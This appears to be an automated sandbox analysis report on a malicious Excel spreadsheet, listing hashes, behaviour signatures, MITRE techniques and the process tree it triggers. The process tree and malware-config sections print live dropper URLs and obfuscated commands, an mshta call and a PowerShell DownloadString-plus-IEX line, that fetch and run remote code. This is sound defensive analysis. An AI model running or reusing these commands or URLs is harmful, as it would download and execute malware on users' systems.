4c3f80d1187f8c8ed466219a7ad4ff851a00a00b84dc6582253fba6415c6f97a

General

Target
a353d520ee0bccb8939aee5dc23d4a2b.xls
Size 142KB
Sample220120-hemp6sgdfr
SHA256 4c3f80d1187f8c8ed466219a7ad4ff851a00a00b84dc6582253fba6415c6f97a
MD5 a353d520ee0bccb8939aee5dc23d4a2b
SHA1 f25c772bbfd759219b006e5071ade2323f555aa3
SHA512 74eb7eac7d6549f9acae948a38c99e03efb6cc6180373cff310f498ea33d2878ef5ca07f934e01a08b1fc18b602cb17572c502083d6b564fc226766da6c051e3
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
http://0xb907d607/fer/fer.html

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
http://185.7.214.7/fer/fer.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1680	640	cmd.exe	51

Blocklisted process makes network request 1 IoCs

flow	pid	Process
35	3992	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3692	3992	WerFault.exe	67

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
640	EXCEL.EXE

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
640	EXCEL.EXE
640	EXCEL.EXE
640	EXCEL.EXE
640	EXCEL.EXE
640	EXCEL.EXE
640	EXCEL.EXE
640	EXCEL.EXE
640	EXCEL.EXE
640	EXCEL.EXE
640	EXCEL.EXE
640	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 640 wrote to memory of 2576	640	EXCEL.EXE	63
PID 640 wrote to memory of 2576	640	EXCEL.EXE	63
PID 640 wrote to memory of 1680	640	EXCEL.EXE	65
PID 640 wrote to memory of 1680	640	EXCEL.EXE	65
PID 1680 wrote to memory of 3992	1680	cmd.exe	67
PID 1680 wrote to memory of 3992	1680	cmd.exe	67

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\a353d520ee0bccb8939aee5dc23d4a2b.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:640
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2576
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1680
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    - Blocklisted process makes network request
    PID:3992
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      PID:4016
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3992 -s 1720
      4⤵
      Program crash
      PID:3692

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow
1⤵
PID:1164

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 408 -p 3992 -ip 3992
1⤵
PID:1144

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/640-130-0x00007FFBB37B0000-0x00007FFBB37C0000-memory.dmp

Download

memory/640-131-0x00007FFBB37B0000-0x00007FFBB37C0000-memory.dmp

Download

memory/640-132-0x00007FFBB37B0000-0x00007FFBB37C0000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads